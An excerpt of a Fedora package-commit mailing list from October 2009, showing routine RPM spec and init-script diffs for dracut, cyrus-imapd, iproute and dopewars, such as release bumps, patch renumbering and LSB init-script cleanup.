Date: Fri,  9 Oct 2009 12:16:32 +0000 (UTC)
Subject: rpms/dracut/F-12
	dracut-git67307075d197433fc3591d6678a5349b0b32b923.patch, NONE,
	1.1 dracut.spec, 1.40, 1.41
Message-ID: <20091009121632.D417211C00C1@cvs1.fedora.phx.redhat.com>

Author: harald

Update of /cvs/pkgs/rpms/dracut/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv14135

Modified Files:
	dracut.spec 
Added Files:
	dracut-git67307075d197433fc3591d6678a5349b0b32b923.patch 
Log Message:
* Fri Oct 09 2009 Harald Hoyer <harald at redhat.com> 002-13.3
- removed one wildcard of libdmraid-events-isw.so install


dracut-git67307075d197433fc3591d6678a5349b0b32b923.patch:
 install |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE dracut-git67307075d197433fc3591d6678a5349b0b32b923.patch ---
commit 67307075d197433fc3591d6678a5349b0b32b923
Author: Harald Hoyer <harald at redhat.com>
Date:   Fri Oct 9 13:16:02 2009 +0200

    dmraid: only install libdmraid-events-isw.so
    
    the symlink will trigger install of the real lib file

diff --git a/modules.d/90dmraid/install b/modules.d/90dmraid/install
index 11a47a8..a1d2265 100755
--- a/modules.d/90dmraid/install
+++ b/modules.d/90dmraid/install
@@ -2,7 +2,7 @@
 dracut_install dmraid partx kpartx 
 
 inst  dmeventd
-inst  /usr/lib*/libdmraid-events-isw.so*
+inst  /usr/lib*/libdmraid-events-isw.so
 inst_rules 10-dm.rules 12-dm-disk.rules 95-dm-notify.rules 
 
 inst "$moddir/dmraid.sh" /sbin/dmraid_scan


Index: dracut.spec
===================================================================
RCS file: /cvs/pkgs/rpms/dracut/F-12/dracut.spec,v
retrieving revision 1.40
retrieving revision 1.41
diff -u -p -r1.40 -r1.41
--- dracut.spec	9 Oct 2009 08:23:24 -0000	1.40
+++ dracut.spec	9 Oct 2009 12:16:32 -0000	1.41
@@ -14,7 +14,7 @@
 
 Name: dracut
 Version: 002
-Release: 13.2%{?rdist}
+Release: 13.3%{?rdist}
 Summary: Initramfs generator using udev
 Group: System Environment/Base		
 License: GPLv2+	
@@ -25,6 +25,7 @@ Patch1: dracut-git8d0a55cfac2b7dc2b3ce71
 Patch2: dracut-gitcdc74b198ebbda69f550a7d744534e41cffd7e25.patch
 Patch3: dracut-gitac36d5db7e85ff2861b62ab7212655d49eee1b42.patch
 Patch4: dracut-git4d9b6060d4df252474f3cc8999726f2066587cda.patch
+Patch5: dracut-git67307075d197433fc3591d6678a5349b0b32b923.patch
 
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 Requires: udev
@@ -113,6 +114,7 @@ This package contains tools to assemble 
 %patch2 -p1
 %patch3 -p1
 %patch4 -p1
+%patch5 -p1
 
 %build
 make
@@ -194,6 +196,9 @@ rm -rf $RPM_BUILD_ROOT
 %dir /var/lib/dracut/overlay
 
 %changelog
+* Fri Oct 09 2009 Harald Hoyer <harald at redhat.com> 002-13.3
+- removed one wildcard of libdmraid-events-isw.so install
+
 * Fri Oct 09 2009 Harald Hoyer <harald at redhat.com> 002-13.2
 - do not fail, if libdmraid-events-isw.so is not present
 



From mhlavink at fedoraproject.org  Fri Oct  9 12:17:13 2009
From: mhlavink at fedoraproject.org (Michal Hlavinka)
Date: Fri,  9 Oct 2009 12:17:13 +0000 (UTC)
Subject: rpms/cyrus-imapd/F-12 cyrus-imapd.init, 1.3, 1.4 cyrus-imapd.spec, 
	1.61, 1.62
Message-ID: <20091009121713.94AA711C00C1@cvs1.fedora.phx.redhat.com>

Author: mhlavink

Update of /cvs/extras/rpms/cyrus-imapd/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv14674

Modified Files:
	cyrus-imapd.init cyrus-imapd.spec 
Log Message:
* Fri Oct 09 2009 Michal Hlavinka <mhlavink at redhat.com> - 2.3.15-3
- fix cyrus user shell for db import (#528126)



Index: cyrus-imapd.init
===================================================================
RCS file: /cvs/extras/rpms/cyrus-imapd/F-12/cyrus-imapd.init,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- cyrus-imapd.init	18 Sep 2009 16:12:36 -0000	1.3
+++ cyrus-imapd.init	9 Oct 2009 12:17:12 -0000	1.4
@@ -60,7 +60,7 @@ start() {
     if [ $QUICK -eq 0 ]; then
       echo -n $"Importing $prog databases: "
       cd $CONFIGDIRECTORY
-      runuser - cyrus -c "umask 166 ; /usr/lib/cyrus-imapd/cvt_cyrusdb_all > ${CONFIGDIRECTORY}/rpm/db_import.log 2>&1" < /dev/null
+      runuser - cyrus -s /bin/sh -c "umask 166 ; /usr/lib/cyrus-imapd/cvt_cyrusdb_all > ${CONFIGDIRECTORY}/rpm/db_import.log 2>&1" < /dev/null
       RETVAL=$?
       if [ $RETVAL -eq 0 ]; then
         success $"$prog importing databases"
@@ -92,7 +92,7 @@ stop() {
       echo
       echo -n $"Exporting $prog databases: "
       cd $CONFIGDIRECTORY
-      runuser - cyrus -c "umask 166 ; /usr/lib/cyrus-imapd/cvt_cyrusdb_all export > ${CONFIGDIRECTORY}/rpm/db_export.log 2>&1" < /dev/null
+      runuser - cyrus -s /bin/sh -c "umask 166 ; /usr/lib/cyrus-imapd/cvt_cyrusdb_all export > ${CONFIGDIRECTORY}/rpm/db_export.log 2>&1" < /dev/null
       RETVAL2=$?
       if [ $RETVAL2 -eq 0 ]; then
         success $"$prog exporting databases"


Index: cyrus-imapd.spec
===================================================================
RCS file: /cvs/extras/rpms/cyrus-imapd/F-12/cyrus-imapd.spec,v
retrieving revision 1.61
retrieving revision 1.62
diff -u -p -r1.61 -r1.62
--- cyrus-imapd.spec	18 Sep 2009 16:12:36 -0000	1.61
+++ cyrus-imapd.spec	9 Oct 2009 12:17:13 -0000	1.62
@@ -1,6 +1,6 @@
 Name: cyrus-imapd
 Version: 2.3.15
-Release: 2%{?dist}
+Release: 3%{?dist}
 
 # ********************** BUILD TIME OPTIONS START **********************
 
@@ -529,10 +529,10 @@ fi
 %if %{SASLGROUP}
 /usr/sbin/groupadd -g %{gid} -r %{_saslgroup} 2> /dev/null || :
 /usr/sbin/useradd -c "Cyrus IMAP Server" -d %{_vardata} -g %{_cyrusgroup} \
-  -G %{_saslgroup} -s /bin/nologin -u %{uid} -r %{_cyrususer} 2> /dev/null || :
+  -G %{_saslgroup} -s /sbin/nologin -u %{uid} -r %{_cyrususer} 2> /dev/null || :
 %else
 /usr/sbin/useradd -c "Cyrus IMAP Server" -d %{_vardata} -g %{_cyrusgroup} \
-  -s /bin/nologin -u %{uid} -r %{_cyrususer} 2> /dev/null || :
+  -s /sbin/nologin -u %{uid} -r %{_cyrususer} 2> /dev/null || :
 %endif
 
 %post utils
@@ -731,6 +731,9 @@ fi
 %{_mandir}/man1/*
 
 %changelog
+* Fri Oct 09 2009 Michal Hlavinka <mhlavink at redhat.com> - 2.3.15-3
+- fix cyrus user shell for db import (#528126)
+
 * Fri Sep 18 2009 Michal Hlavinka <mhlavink at redhat.com> - 2.3.15-2
 - make init script LSB-compliant (#523227)
 



From mhlavink at fedoraproject.org  Fri Oct  9 12:20:16 2009
From: mhlavink at fedoraproject.org (Michal Hlavinka)
Date: Fri,  9 Oct 2009 12:20:16 +0000 (UTC)
Subject: rpms/cyrus-imapd/F-11 cyrus-imapd.init, 1.2, 1.3 cyrus-imapd.spec, 
	1.56, 1.57
Message-ID: <20091009122016.7B97311C029B@cvs1.fedora.phx.redhat.com>

Author: mhlavink

Update of /cvs/extras/rpms/cyrus-imapd/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv15677

Modified Files:
	cyrus-imapd.init cyrus-imapd.spec 
Log Message:
* Fri Oct 09 2009 Michal Hlavinka <mhlavink at redhat.com> - 2.3.15-2
- fix cyrus user shell for db import (#528126)
- make init script lsb compliant



Index: cyrus-imapd.init
===================================================================
RCS file: /cvs/extras/rpms/cyrus-imapd/F-11/cyrus-imapd.init,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- cyrus-imapd.init	28 Feb 2006 20:04:01 -0000	1.2
+++ cyrus-imapd.init	9 Oct 2009 12:20:16 -0000	1.3
@@ -11,45 +11,28 @@
 # version:	2005111100
 # changed:	add quickstart/stop option to init script to bypass db import/export
 
-# Source function library
-if [ -f /etc/init.d/functions ]; then
-  . /etc/init.d/functions
-elif [ -f /etc/rc.d/init.d/functions ]; then
-  . /etc/rc.d/init.d/functions
-else
-  exit 0
-fi
+. /etc/init.d/functions
 
-# Source networking configuration.
-. /etc/sysconfig/network
+config=/etc/imapd.conf
+config2=/etc/cyrus.conf
+exec=/usr/lib/cyrus-imapd/cyrus-master
+lockfile=/var/lock/subsys/cyrus-imapd
+pidfile=/var/run/cyrus-master.pid
+prog="cyrus-imapd"
 
-# Check that networking is up.
-[ ${NETWORKING} = "no" ] && exit 0
+if [ -f /etc/sysconfig/dovecot ]; then
+    . /etc/sysconfig/dovecot
+fi
 
 # check if the config files are present
-[ -f /etc/cyrus.conf ] || exit 0
-[ -f /etc/imapd.conf ] || exit 0
+configok=true
+[ -f $config -a $config2 ] || configok=false
  
-# This is our service name
-BASENAME=$(basename $0)
-if [ -L $0 ]; then
-  BASENAME=$(find $0 -name $BASENAME -printf %l)
-  BASENAME=$(basename $BASENAME)
-fi
-
-# Source service configuration.
-if [ -f /etc/sysconfig/$BASENAME ]; then
-  . /etc/sysconfig/$BASENAME
-else
-  echo "$BASENAME: configfile /etc/sysconfig/$BASENAME does NOT exist !"
-  exit 1
-fi
-
 # get_config [config default]
 # extracts config option from config file
 get_config() {
-  if config=$(grep "^$1" /etc/imapd.conf); then
-    echo $config | cut -d: -f2
+  if conf=$(grep "^$1" /etc/imapd.conf); then
+    echo $conf | cut -d: -f2
   else
     echo $2
   fi
@@ -61,66 +44,65 @@ CYRUSMASTER=/usr/lib/cyrus-imapd/cyrus-m
 CYRUS_PROC_NAME=$(basename $CYRUSMASTER)
 ALWAYS_CONVERT=1
 
-# fallback to su if runuser not available
-if [ -x /sbin/runuser ]; then
-  RUNUSER=runuser
-else
-  RUNUSER=su
-fi
-
 RETVAL=0
 RETVAL2=1
 QUICK=0
 
 start() {
+  [ $UID -eq 0 ] || exit 4
+  [ -x $exec ] || exit 5
+  $configok || exit 6
   if [ $(/sbin/pidof -s $CYRUSMASTER) ]; then
-    echo -n $"$BASENAME already running."
-    false
+    echo -n $"$prog already running."
+    true
     echo
   else
     if [ $QUICK -eq 0 ]; then
-      echo -n $"Importing $BASENAME databases: "
+      echo -n $"Importing $prog databases: "
       cd $CONFIGDIRECTORY
-      $RUNUSER - cyrus -c "umask 166 ; /usr/lib/cyrus-imapd/cvt_cyrusdb_all > ${CONFIGDIRECTORY}/rpm/db_import.log 2>&1" < /dev/null
+      runuser - cyrus -s /bin/sh -c "umask 166 ; /usr/lib/cyrus-imapd/cvt_cyrusdb_all > ${CONFIGDIRECTORY}/rpm/db_import.log 2>&1" < /dev/null
       RETVAL=$?
       if [ $RETVAL -eq 0 ]; then
-        success $"$BASENAME importing databases"
+        success $"$prog importing databases"
       else
-        failure $"$BASENAME error importing databases, check ${CONFIGDIRECTORY}/rpm/db_import.log"
+        failure $"$prog error importing databases, check ${CONFIGDIRECTORY}/rpm/db_import.log"
       fi
       echo
     fi
     if [ $RETVAL -eq 0 ]; then
-      echo -n $"Starting $BASENAME: "
+      echo -n $"Starting $prog: "
       daemon $CYRUSMASTER -d $CYRUSOPTIONS
       RETVAL2=$?
       echo
     fi
   fi
-  [ $RETVAL -eq 0 -a $RETVAL2 -eq 0 ] && touch /var/lock/subsys/$BASENAME
+  [ $RETVAL -eq 0 -a $RETVAL2 -eq 0 ] && touch $lockfile
   return $RETVAL
 }
 
 stop() {
-  echo -n $"Shutting down $BASENAME: "
+  [ $UID -eq 0 ] || exit 4
+  [ -x $exec ] || exit 5
+
+  echo -n $"Shutting down $prog: "
   killproc $CYRUSMASTER
   RETVAL=$?
   if [ $QUICK -eq 0 ]; then
     if [ ! $(/sbin/pidof -s $CYRUSMASTER) ]; then
       echo
-      echo -n $"Exporting $BASENAME databases: "
+      echo -n $"Exporting $prog databases: "
       cd $CONFIGDIRECTORY
-      $RUNUSER - cyrus -c "umask 166 ; /usr/lib/cyrus-imapd/cvt_cyrusdb_all export > ${CONFIGDIRECTORY}/rpm/db_export.log 2>&1" < /dev/null
+      runuser - cyrus -s /bin/sh -c "umask 166 ; /usr/lib/cyrus-imapd/cvt_cyrusdb_all export > ${CONFIGDIRECTORY}/rpm/db_export.log 2>&1" < /dev/null
       RETVAL2=$?
       if [ $RETVAL2 -eq 0 ]; then
-        success $"$BASENAME exporting databases"
+        success $"$prog exporting databases"
       else
-        failure $"$BASENAME error exporting databases, check ${CONFIGDIRECTORY}/rpm/db_export.log"
+        failure $"$prog error exporting databases, check ${CONFIGDIRECTORY}/rpm/db_export.log"
       fi
     fi
   fi
   echo
-  [ $RETVAL -eq 0 -a $RETVAL2 -eq 0 ] && rm -f /var/lock/subsys/$BASENAME
+  [ $RETVAL -eq 0 -a $RETVAL2 -eq 0 ] && rm -f $lockfile
   return $RETVAL
 }
 
@@ -137,16 +119,6 @@ reload() {
   return $RETVAL
 }
  
-condrestart() {
-  [ -e /var/lock/subsys/$BASENAME ] && restart || :
-}
-
-rhstatus() {
-  status $CYRUSMASTER
-  RETVAL=$?
-  return $RETVAL
-}
-
 case "$1" in
   start)
     start
@@ -154,17 +126,21 @@ case "$1" in
   stop)
     stop
     ;;
-  restart)
+  force-reload|restart)
     restart
     ;;
   reload)
     reload
     ;;
-  condrestart)
-    condrestart
+  condrestart|try-restart)
+    if [ -f $lockfile ]; then
+        stop
+        start
+    fi
     ;;
   status)
-    rhstatus
+    status -p $pidfile $prog 
+    RETVAL=$?
     ;;
   quickstart)
     QUICK=1
@@ -175,8 +151,9 @@ case "$1" in
     stop
     ;;
   *)
-    echo $"Usage: $BASENAME {start|stop|restart|reload|condrestart|status|quickstart|quickstop}"
-    RETVAL=1
+    echo $"Usage: $0 {start|stop|restart|reload|force-reload|condrestart|try-restart|status|quickstart|quickstop}"
+    RETVAL=2
+    [ "$1" = "usage" ] && RETVAL=0
 esac
 
 exit $RETVAL


Index: cyrus-imapd.spec
===================================================================
RCS file: /cvs/extras/rpms/cyrus-imapd/F-11/cyrus-imapd.spec,v
retrieving revision 1.56
retrieving revision 1.57
diff -u -p -r1.56 -r1.57
--- cyrus-imapd.spec	18 Sep 2009 13:58:19 -0000	1.56
+++ cyrus-imapd.spec	9 Oct 2009 12:20:16 -0000	1.57
@@ -1,6 +1,6 @@
 Name: cyrus-imapd
 Version: 2.3.15
-Release: 1%{?dist}
+Release: 2%{?dist}
 
 # ********************** BUILD TIME OPTIONS START **********************
 
@@ -529,10 +529,10 @@ fi
 %if %{SASLGROUP}
 /usr/sbin/groupadd -g %{gid} -r %{_saslgroup} 2> /dev/null || :
 /usr/sbin/useradd -c "Cyrus IMAP Server" -d %{_vardata} -g %{_cyrusgroup} \
-  -G %{_saslgroup} -s /bin/nologin -u %{uid} -r %{_cyrususer} 2> /dev/null || :
+  -G %{_saslgroup} -s /sbin/nologin -u %{uid} -r %{_cyrususer} 2> /dev/null || :
 %else
 /usr/sbin/useradd -c "Cyrus IMAP Server" -d %{_vardata} -g %{_cyrusgroup} \
-  -s /bin/nologin -u %{uid} -r %{_cyrususer} 2> /dev/null || :
+  -s /sbin/nologin -u %{uid} -r %{_cyrususer} 2> /dev/null || :
 %endif
 
 %post utils
@@ -731,6 +731,10 @@ fi
 %{_mandir}/man1/*
 
 %changelog
+* Fri Oct 09 2009 Michal Hlavinka <mhlavink at redhat.com> - 2.3.15-2
+- fix cyrus user shell for db import (#528126)
+- make init script lsb compliant
+
 * Fri Sep 18 2009 Michal Hlavinka <mhlavink at redhat.com> - 2.3.15-1
 - fix another buffer overflow in cyrus sieve (CVE-2009-3235)
 



From mmaslano at fedoraproject.org  Fri Oct  9 12:39:07 2009
From: mmaslano at fedoraproject.org (=?utf-8?b?TWFyY2VsYSBNYcWhbMOhxYhvdsOh?=)
Date: Fri,  9 Oct 2009 12:39:07 +0000 (UTC)
Subject: rpms/iproute/devel iproute.spec,1.99,1.100
Message-ID: <20091009123907.61A5511C00C1@cvs1.fedora.phx.redhat.com>

Author: mmaslano

Update of /cvs/pkgs/rpms/iproute/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv21960

Modified Files:
	iproute.spec 
Log Message:
Update spec file.



Index: iproute.spec
===================================================================
RCS file: /cvs/pkgs/rpms/iproute/devel/iproute.spec,v
retrieving revision 1.99
retrieving revision 1.100
diff -u -p -r1.99 -r1.100
--- iproute.spec	9 Oct 2009 11:49:26 -0000	1.99
+++ iproute.spec	9 Oct 2009 12:39:07 -0000	1.100
@@ -13,10 +13,10 @@ URL:	http://linux-net.osdl.org/index.php
 Patch0: man-pages.patch
 Patch1: iproute2-2.6.29-kernel.patch
 Patch2: iproute2-ss050901-opt_flags.patch
-Patch4: iproute2-2.6.25-segfault.patch
-Patch5: iproute2-sharepath.patch
-Patch9: iproute2-2.6.29-tc_modules.patch
-Patch10: iproute2-2.6.29-IPPROTO_IP_for_SA.patch
+Patch3: iproute2-2.6.25-segfault.patch
+Patch4: iproute2-sharepath.patch
+Patch5: iproute2-2.6.29-tc_modules.patch
+Patch6: iproute2-2.6.29-IPPROTO_IP_for_SA.patch
 
 License: GPLv2+
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
@@ -43,10 +43,10 @@ The iproute documentation contains howto
 %patch0 -p1
 %patch1 -p1 -b .kernel
 %patch2 -p1 -b .opt_flags
-%patch4 -p1 -b .seg
-%patch5 -p1 -b .share
-%patch9 -p1 -b .ipt
-%patch10 -p1 -b .ipproto
+%patch3 -p1 -b .seg
+%patch4 -p1 -b .share
+%patch5 -p1 -b .ipt
+%patch6 -p1 -b .ipproto
 
 %build
 export LIBDIR=/%{_libdir}
@@ -125,6 +125,9 @@ EOF
 %doc RELNOTES
 
 %changelog
+* Fri Oct  9 2009 Marcela Ma?l??ov? <mmaslano at redhat.com> - 2.6.29-5.0.20091009gitdaf49fd6
+- new official version isn't available but it's needed -> switch to git snapshots
+
 * Thu Sep 24 2009 Marcela Ma?l??ov? <mmaslano at redhat.com> - 2.6.29-5
 - create missing man pages
 



From mmaslano at fedoraproject.org  Fri Oct  9 12:47:03 2009
From: mmaslano at fedoraproject.org (=?utf-8?b?TWFyY2VsYSBNYcWhbMOhxYhvdsOh?=)
Date: Fri,  9 Oct 2009 12:47:03 +0000 (UTC)
Subject: rpms/iproute/devel iproute.spec, 1.100,
	1.101 iproute2-2.6.9-kernel.patch, 1.8, NONE
Message-ID: <20091009124703.EB99211C00C1@cvs1.fedora.phx.redhat.com>

Author: mmaslano

Update of /cvs/pkgs/rpms/iproute/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24735

Modified Files:
	iproute.spec 
Removed Files:
	iproute2-2.6.9-kernel.patch 
Log Message:
Remove unuseful patch.



Index: iproute.spec
===================================================================
RCS file: /cvs/pkgs/rpms/iproute/devel/iproute.spec,v
retrieving revision 1.100
retrieving revision 1.101
diff -u -p -r1.100 -r1.101
--- iproute.spec	9 Oct 2009 12:39:07 -0000	1.100
+++ iproute.spec	9 Oct 2009 12:47:03 -0000	1.101
@@ -7,8 +7,7 @@ Version: 2.6.29
 Release: 5.0.20091009gitdaf49fd6%{?dist}
 Group: Applications/System
 Source: iproute2-%{date_version}.tar.bz2
-Source1: http://developer.osdl.org/dev/iproute2/download/iproute2-%{version}.tar.bz2
-#Source1: iproute-doc-2.6.22.tar.gz
+#Source1: http://developer.osdl.org/dev/iproute2/download/iproute2-%{version}.tar.bz2
 URL:	http://linux-net.osdl.org/index.php/Iproute2
 Patch0: man-pages.patch
 Patch1: iproute2-2.6.29-kernel.patch


--- iproute2-2.6.9-kernel.patch DELETED ---



From jussilehtola at fedoraproject.org  Fri Oct  9 12:51:36 2009
From: jussilehtola at fedoraproject.org (Jussi Lehtola)
Date: Fri,  9 Oct 2009 12:51:36 +0000 (UTC)
Subject: rpms/dopewars/F-12 dopewars.spec,1.7,1.8 sources,1.2,1.3
Message-ID: <20091009125136.562AF11C00C1@cvs1.fedora.phx.redhat.com>

Author: jussilehtola

Update of /cvs/pkgs/rpms/dopewars/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv25963/F-12

Modified Files:
	dopewars.spec sources 
Log Message:
Update to SVN release to address security issues.


Index: dopewars.spec
===================================================================
RCS file: /cvs/pkgs/rpms/dopewars/F-12/dopewars.spec,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- dopewars.spec	24 Jul 2009 20:28:11 -0000	1.7
+++ dopewars.spec	9 Oct 2009 12:51:36 -0000	1.8
@@ -1,34 +1,45 @@
 # State dir for savegames
-%define _localstatedir /var/lib/games
+%global _localstatedir /var/lib/games
+# SVN release
+%global rel 1033
 
 Summary:	A drug dealing game
 Name:		dopewars
 Version:	1.5.12
-Release:	7%{?dist}
+Release:	8.%{rel}svn%{?dist}
 URL:		http://dopewars.sourceforge.net/
 License:	GPLv2+
 Group:		Amusements/Games
-Source0:	http://downloads.sourceforge.net/%{name}/%{name}-%{version}.tar.gz
+#Source0:	http://downloads.sourceforge.net/%{name}/%{name}-%{version}.tar.gz
+## The source tarball has been generated followingly:
+# svn co https://svn.sourceforge.net/svnroot/dopewars/dopewars/trunk dopewars
+# tar jcf dopewars-%{version}-%{rel}svn.tar.bz2
+Source0:	%{name}-%{version}-%{rel}svn.tar.bz2
 BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildRequires:	esound-devel
-BuildRequires:  desktop-file-utils
+BuildRequires:	desktop-file-utils
 BuildRequires:	gtk2-devel
 BuildRequires:	ncurses-devel
 BuildRequires:	SDL_mixer-devel
 
+# SVN stuff
+BuildRequires:	automake
+BuildRequires:	autoconf
+BuildRequires:	gettext
+
 %description
-Based on John E. Dell's old Drug Wars game, dopewars is a simulation of an    
-imaginary drug market.  dopewars is an All-American game which features       
-buying, selling, and trying to get past the cops!                              
-                                                                                
-The first thing you need to do is pay off your debt to the Loan Shark. After   
-that, your goal is to make as much money as possible (and stay alive)! You     
-have one month of game time to make your fortune.                              
+Based on John E. Dell's old Drug Wars game, dopewars is a simulation of an
+imaginary drug market. dopewars is an All-American game which features
+buying, selling, and trying to get past the cops!
+
+The first thing you need to do is pay off your debt to the Loan Shark. After
+that, your goal is to make as much money as possible (and stay alive)! You
+have one month of game time to make your fortune.
 
 dopewars supports multiple players via. TCP/IP. Chatting to and fighting
 with other players (computer or human) is supported; check the command line
-switches (via dopewars -h) for further information. 
+switches (via dopewars -h) for further information.
 
 %package sdl
 Summary:	SDL sound support for dopewars
@@ -39,9 +50,17 @@ This package adds a plugin to dopewars t
 the Simple DirectMedia Layer mixer (SDL_mixer).
 
 %prep
-%setup -q
+#%setup -q
+%setup -q -n %{name}
+# Clean out svn stuff
+find . -name .svn | xargs rm -rf;
+# Fix documentation
+iconv -f ISO-8859-1 -t UTF-8 ChangeLog > ChangeLog.new && \
+mv ChangeLog.new ChangeLog
+chmod 644 doc/*.html
 
 %build
+./autogen.sh
 %configure \
 	--enable-shared --disable-static \
 	--enable-gui-server --enable-curses-client \
@@ -60,10 +79,8 @@ mv dopewars.desktop{.new,}
 desktop-file-install --vendor="" \
 --dir=${RPM_BUILD_ROOT}%{_datadir}/applications dopewars.desktop
 
-# Fix documentation
-iconv -f ISO-8859-1 -t UTF-8 ChangeLog > ChangeLog.new && \
-mv ChangeLog.new ChangeLog
-chmod 644 doc/*.html
+# Remove documentation installed by make install
+rm -rf %{buildroot}%{_docdir}
 
 %clean
 rm -rf %{buildroot}
@@ -90,25 +107,28 @@ rm -rf %{buildroot}
 %{_libdir}/dopewars/libsound_sdl.so
 
 %changelog
+* Fri Oct 09 2009 Jussi Lehtola <jussilehtola at fedoraproject.org> - 1.5.12-8.1033svn
+- Update to svn release to address security issues.
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.5.12-7
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 
 * Tue Feb 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.5.12-6
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_11_Mass_Rebuild
 
-* Sat Nov 29 2008 Jussi Lehtola <jussi.lehtola at iki.fi> - 1.5.12-5
+* Sat Nov 29 2008 Jussi Lehtola <jussilehtola at fedoraproject.org> - 1.5.12-5
 - Also fix release tag.
 
-* Sat Nov 29 2008 Jussi Lehtola <jussi.lehtola at iki.fi> - 1.5.12-4
+* Sat Nov 29 2008 Jussi Lehtola <jussilehtola at fedoraproject.org> - 1.5.12-4
 - Fix bug 473644, unowned directory.
 
-* Fri Nov 07 2008 Jussi Lehtola <jussi.lehtola at iki.fi> - 1.5.12-3
+* Fri Nov 07 2008 Jussi Lehtola <jussilehtola at fedoraproject.org> - 1.5.12-3
 - Fix source URL.
 
-* Tue Nov 04 2008 Jussi Lehtola <jussi.lehtola at iki.fi> - 1.5.12-2
+* Tue Nov 04 2008 Jussi Lehtola <jussilehtola at fedoraproject.org> - 1.5.12-2
 - Add BR desktop-file-utils.
 
-* Tue Nov 04 2008 Jussi Lehtola <jussi.lehtola at iki.fi> - 1.5.12-1
+* Tue Nov 04 2008 Jussi Lehtola <jussilehtola at fedoraproject.org> - 1.5.12-1
 - Spec file cleanups for Fedora inclusion.
 
 * Mon Jul 28 2003 Ben Webb <benwebb at users.sf.net>


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/dopewars/F-12/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	8 Nov 2008 09:30:12 -0000	1.2
+++ sources	9 Oct 2009 12:51:36 -0000	1.3
@@ -1 +1 @@
-debf749de9053dc2fb2e74c37ae06206  dopewars-1.5.12.tar.gz
+c35f94bd1a3eebc4cddb2f5644a40efb  dopewars-1.5.12-1033svn.tar.bz2



From jussilehtola at fedoraproject.org  Fri Oct  9 13:00:44 2009
From: jussilehtola at fedoraproject.org (Jussi Lehtola)
Date: Fri,  9 Oct 2009 13:00:44 +0000 (UTC)
Subject: rpms/dopewars/F-12 dopewars.spec,1.8,1.9
Message-ID: <20091009130044.19E9D11C0265@cvs1.fedora.phx.redhat.com>

Author: jussilehtola

Update of /cvs/pkgs/rpms/dopewars/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv12670/F-12

Modified Files:
	dopewars.spec 
Log Message:
Increment tag to be able to build in F-12.


Index: dopewars.spec
===================================================================
RCS file: /cvs/pkgs/rpms/dopewars/F-12/dopewars.spec,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- dopewars.spec	9 Oct 2009 12:51:36 -0000	1.8
+++ dopewars.spec	9 Oct 2009 13:00:43 -0000	1.9
@@ -6,7 +6,7 @@
 Summary:	A drug dealing game
 Name:		dopewars
 Version:	1.5.12
-Release:	8.%{rel}svn%{?dist}
+Release:	9.%{rel}svn%{?dist}
 URL:		http://dopewars.sourceforge.net/
 License:	GPLv2+
 Group:		Amusements/Games
@@ -107,6 +107,9 @@ rm -rf %{buildroot}
 %{_libdir}/dopewars/libsound_sdl.so
 
 %changelog
+* Fri Oct 09 2009 Jussi Lehtola <jussilehtola at fedoraproject.org> - 1.5.12-9.1033svn
+- Increment release to be able to tag in F-12.
+
 * Fri Oct 09 2009 Jussi Lehtola <jussilehtola at fedoraproject.org> - 1.5.12-8.1033svn
 - Update to svn release to address security issues.
 



From jussilehtola at fedoraproject.org  Fri Oct  9 13:00:44 2009
From: jussilehtola at fedoraproject.org (Jussi Lehtola)
Date: Fri,  9 Oct 2009 13:00:44 +0000 (UTC)
Subject: rpms/dopewars/devel dopewars.spec,1.9,1.10
Message-ID: <20091009130044.87FCA11C029A@cvs1.fedora.phx.redhat.com>

Author: jussilehtola

Update of /cvs/pkgs/rpms/dopewars/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv12670/devel

Modified Files:
	dopewars.spec 
Log Message:
Increment tag to be able to build in F-12.


Index: dopewars.spec
===================================================================
RCS file: /cvs/pkgs/rpms/dopewars/devel/dopewars.spec,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- dopewars.spec	9 Oct 2009 11:18:19 -0000	1.9
+++ dopewars.spec	9 Oct 2009 13:00:44 -0000	1.10
@@ -6,7 +6,7 @@
 Summary:	A drug dealing game
 Name:		dopewars
 Version:	1.5.12
-Release:	8.%{rel}svn%{?dist}
+Release:	9.%{rel}svn%{?dist}
 URL:		http://dopewars.sourceforge.net/
 License:	GPLv2+
 Group:		Amusements/Games
@@ -107,6 +107,9 @@ rm -rf %{buildroot}
 %{_libdir}/dopewars/libsound_sdl.so
 
 %changelog
+* Fri Oct 09 2009 Jussi Lehtola <jussilehtola at fedoraproject.org> - 1.5.12-9.1033svn
+- Increment release to be able to tag in F-12.
+
 * Fri Oct 09 2009 Jussi Lehtola <jussilehtola at fedoraproject.org> - 1.5.12-8.1033svn
 - Update to svn release to address security issues.
 



From sgrubb at fedoraproject.org  Fri Oct  9 13:14:21 2009
From: sgrubb at fedoraproject.org (Steve Grubb)
Date: Fri,  9 Oct 2009 13:14:21 +0000 (UTC)
Subject: rpms/libcap-ng/F-12 libcap-ng-0.6.3-setpcap.patch, NONE,
	1.1 libcap-ng.spec, 1.13, 1.14
Message-ID: <20091009131421.502B311C00C1@cvs1.fedora.phx.redhat.com>
